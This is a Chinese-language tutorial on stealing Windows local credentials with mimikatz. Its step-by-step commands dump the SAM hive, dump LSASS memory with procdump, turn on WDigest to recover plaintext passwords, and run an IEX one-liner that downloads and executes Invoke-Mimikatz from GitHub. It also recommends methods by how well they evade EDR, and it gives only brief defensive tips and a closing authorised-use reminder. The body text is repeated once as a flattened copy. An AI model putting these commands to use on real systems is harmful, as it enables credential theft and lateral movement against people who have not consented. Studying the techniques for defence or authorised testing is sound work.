从mimikatz学Windows本地hash抓取
字数 1397 2025-08-18 17:33:36

Windows本地Hash抓取技术详解

1. 基础知识

在Windows操作系统中,用户凭证信息主要存储在以下两个位置:

  1. SAM数据库:位于C:\Windows\System32\config\sam,保存本地用户的Hash
  2. LSASS进程内存lsass.exe进程会缓存用户密码信息

2. 通过SAM数据库提取Hash

2.1 使用Mimikatz在线模式

前提条件

  • 需要SYSTEM权限或模拟SYSTEM令牌

操作步骤

privilege::debug  // 获取debug权限
token::elevate    // 模拟SYSTEM令牌
lsadump::sam      // 转储SAM数据库

特点

  • 使用简单
  • 特征明显,容易被安全产品拦截

2.2 使用Mimikatz离线模式

操作步骤

  1. 导出注册表文件:

    reg save hklm\sam sam.hiv
    reg save hklm\system system.hiv
    
  2. 或者直接复制文件(需要工具如NinjaCopy):

    C:\Windows\System32\config\SYSTEM
    C:\Windows\System32\config\SAM
    
  3. 使用Mimikatz解析:

    lsadump::sam /sam:sam.hiv /system:system.hiv
    

特点

  • 需要导出文件,效率较低
  • 更安全,不易被检测

3. 通过LSASS进程内存提取凭证

3.1 直接使用Mimikatz提取

前提条件

  • Administrator权限(可通过privilege::debug获取调试权限)
  • 或SYSTEM权限

交互式提取

privilege::debug
log
sekurlsa::logonpasswords

非交互式提取

mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

3.2 通过PowerShell加载Mimikatz

方法一(远程加载):

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds

方法二(本地加载):

powershell Import-Module .\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command '"privilege::debug" "log" "sekurlsa::logonPasswords full"'

3.3 通过LSASS转储文件提取

  1. 使用ProcDump导出LSASS内存:

    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    
  2. 使用Mimikatz解析转储文件:

    mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
    

4. 其他工具

  1. Pwdump7

    • 下载地址:http://passwords.openwall.net/b/pwdump/pwdump7.zip
  2. PowerShell脚本

    powershell Import-Module .\Invoke-PowerDump.ps1; Invoke-PowerDump
    
  3. QuarkPwDump

    • 项目地址:https://github.com/quarkslab/quarkspwdump
    • 已编译版本:https://github.com/redcanari/quarkspwdump/releases

5. 明文密码问题

KB2871997补丁影响

  • 会删除除wdigest SSP外的其他SSP的明文凭据
  • 对于wdigest SSP只能选择禁用

启用wdigest获取明文密码

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

6. 技术原理

  1. SAM数据库提取原理

    • 读取hklm\system获取syskey
    • 使用syskey解密hklm\sam
  2. LSASS内存提取原理

    • 通过API MiniDumpWriteDump()获得lsass.exe进程的dmp文件
    • 从内存中提取凭证信息

7. 防御与检测

  1. 在线模式

    • 特征明显,容易被EDR/AV检测
    • 建议使用离线模式或LSASS转储方式
  2. 防护措施

    • 启用LSA保护
    • 限制调试权限
    • 监控lsass.exe进程的异常访问

8. 总结对比

方法 优点 缺点 适用场景
在线SAM提取 简单直接 易被检测 快速测试
离线SAM提取 更安全 需要导出文件 隐蔽操作
直接LSASS提取 可获取更多信息 高风险 交互式环境
LSASS转储 可离线分析 需要额外步骤 规避检测
PowerShell方式 无文件落地 可能被拦截 红队操作

掌握这些技术对于渗透测试和系统安全评估至关重要,但请确保只在合法授权的范围内使用这些技术。

Windows本地Hash抓取技术详解 1. 基础知识 在Windows操作系统中,用户凭证信息主要存储在以下两个位置: SAM数据库 :位于 C:\Windows\System32\config\sam ,保存本地用户的Hash LSASS进程内存 : lsass.exe 进程会缓存用户密码信息 2. 通过SAM数据库提取Hash 2.1 使用Mimikatz在线模式 前提条件 : 需要SYSTEM权限或模拟SYSTEM令牌 操作步骤 : 特点 : 使用简单 特征明显,容易被安全产品拦截 2.2 使用Mimikatz离线模式 操作步骤 : 导出注册表文件: 或者直接复制文件(需要工具如NinjaCopy): 使用Mimikatz解析: 特点 : 需要导出文件,效率较低 更安全,不易被检测 3. 通过LSASS进程内存提取凭证 3.1 直接使用Mimikatz提取 前提条件 : Administrator权限(可通过 privilege::debug 获取调试权限) 或SYSTEM权限 交互式提取 : 非交互式提取 : 3.2 通过PowerShell加载Mimikatz 方法一 (远程加载): 方法二 (本地加载): 3.3 通过LSASS转储文件提取 使用ProcDump导出LSASS内存: 使用Mimikatz解析转储文件: 4. 其他工具 Pwdump7 : 下载地址:http://passwords.openwall.net/b/pwdump/pwdump7.zip PowerShell脚本 : QuarkPwDump : 项目地址:https://github.com/quarkslab/quarkspwdump 已编译版本:https://github.com/redcanari/quarkspwdump/releases 5. 明文密码问题 KB2871997补丁影响 : 会删除除wdigest SSP外的其他SSP的明文凭据 对于wdigest SSP只能选择禁用 启用wdigest获取明文密码 : 6. 技术原理 SAM数据库提取原理 : 读取 hklm\system 获取syskey 使用syskey解密 hklm\sam LSASS内存提取原理 : 通过API MiniDumpWriteDump() 获得lsass.exe进程的dmp文件 从内存中提取凭证信息 7. 防御与检测 在线模式 : 特征明显,容易被EDR/AV检测 建议使用离线模式或LSASS转储方式 防护措施 : 启用LSA保护 限制调试权限 监控lsass.exe进程的异常访问 8. 总结对比 | 方法 | 优点 | 缺点 | 适用场景 | |------|------|------|----------| | 在线SAM提取 | 简单直接 | 易被检测 | 快速测试 | | 离线SAM提取 | 更安全 | 需要导出文件 | 隐蔽操作 | | 直接LSASS提取 | 可获取更多信息 | 高风险 | 交互式环境 | | LSASS转储 | 可离线分析 | 需要额外步骤 | 规避检测 | | PowerShell方式 | 无文件落地 | 可能被拦截 | 红队操作 | 掌握这些技术对于渗透测试和系统安全评估至关重要,但请确保只在合法授权的范围内使用这些技术。